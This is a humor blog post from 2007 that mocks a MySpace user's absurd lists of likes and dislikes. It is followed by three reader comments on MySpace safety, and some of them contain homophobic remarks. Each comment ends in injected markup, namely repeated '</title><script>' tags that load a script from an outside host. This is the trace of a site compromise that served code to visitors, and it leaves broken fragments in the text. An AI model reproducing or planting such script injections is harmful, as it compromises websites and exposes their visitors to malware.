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MySpace Chick Thanks God For Velcro Bra Straps

by Mark on 1/9/2007 (3)

Name: Kati

Location: Spiral arm of the Milky Way Galaxy (ha-ha)

Turn ons: Velcro bra straps, sensible heels, Carlos Castaneda, Dunken Donuts, IPODs, ear-buds that fit my ears, plastic sippy cup lids, Seinfeld reruns, Blockbuster, Telemundo, Feng Shue, snow days, crazy straws, grilled cheese sandwiches, Japanese cinema, La Cage, puppies, recycling, Tony Danza, muscle mags, Renoir, Jeno's pizza rolls, Baked Alaska, Goldschlager, Greenpeace, wheat fields on sunny days, chilly nights, Wasabi, street lights, fog, Beethoven, Usher, U-2, those little umbrellas they put in Pina Coladas, Jazz, jet skis, dusty old buildings, Medieval architecture, cherry lip gloss, Bauhaus, people who smile and say hello even when they're sad, clean toilets, getting a C in Physics, Potpourri sachets, The Gap, soft pillows, bagels, wrought iron lawn furniture, the U.N., solar power, Josh Groban, crystals, sunflowers, Star Wars, Alien 3, plastic bubble wrap, Uno, Pizza Hut, really fast can openers, self-ironing clothes, when the 'rents go on vacation.

Turn offs: Hook and loop bra straps, butch girls who call me 'Kat', connect the dot coloring books, French guys who give you that snobbish, blow-off hand wave, family reunions, dirty finger nails, midget toss competitions, outdoorsy guys who smoke their own meats, people who eat crumbly desserts on expensive upholstery, Hitler, bus fumes, American Idol, flu shots, soft ripened cheeses, Hummers, bitchy bitches, that scungy stuff that collects on the mouth of mustard squeezy bottles, 'Taxi' reruns, speeding tickets, bus fumes again, Barbie, nuclear waste, Foosball, when the bottom of my jeans get tattered, getting blown off on a job interview, cancer, 2% milk, chopsticks, Nintendo, dentists, electronic chess, cigar smoke, Donald Trump, alligators, Pap smears, lurpy guys with wide collars, slimy eggs, waking up in the morning, STD's, licorice, beer, iguanas, the thought of dieing in a plane crash.

Favorite Quote: "You suck!"

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1. by klh1886 on 3/1/2007 4:52:29 PM

I personally have a concern regarding MY SPACE as well. There is some pretty trashy stuff on there. Of course I realize it's not all like that. I'm sure this is not the only web site like this either. This web page I would imagine started out innocent enough but it truly isn't like that now. I found this out the hard way. Some children are getting on this web space and they are putting very revealing pictures of themselves. Some tell their names, where they live, work etc. It's very dangerous. As I've stated before some children have many screen names from other computers. The FBI has a full time staff surfing MY SPACE and other web pages looking for pervs. Unfortunatly if they didn't find what they were looking for on MY SPACE they wouldn't frequent this sight. They are arresting these people at an alarming rate. The whole thing is pretty frightning to me. Some of these kids are flaunting themselves on the internet and putting themselves in real danger. I think these kids that do this are ridiculous, and personally I feel they should get some type of punishment as well. This type of behavior is not funny, and can get a child killed. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Kris on 3/1/2007 4:52:29 PM

Parents need to educate their kids what's appropriate and what's not... and to never tell strangers where they live, unless that stranger is a fire fighter and their house is on fire but then really, the kids shouldn't be on the Internet. Seriously though, I use MySpace myself and I find it pretty handy to keep in touch with lots of friends from high school and college that otherwise would be hard to hear from. But I am also bombarded with porn advertisements and friend requests from random 40 year old homosexual men.<if </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Motz on 3/1/2007 4:52:29 PM

I see MySpace for what it is. An communications interface, nothing more. Sure, you'll get creeps, but that's no surprise. When you can troll around under the veil of presumed anonymity, what else would you expect? I think that when you decide to post a profile, and put yourself "out there", you get what you deserve, I suppose, homos and all."0" sty </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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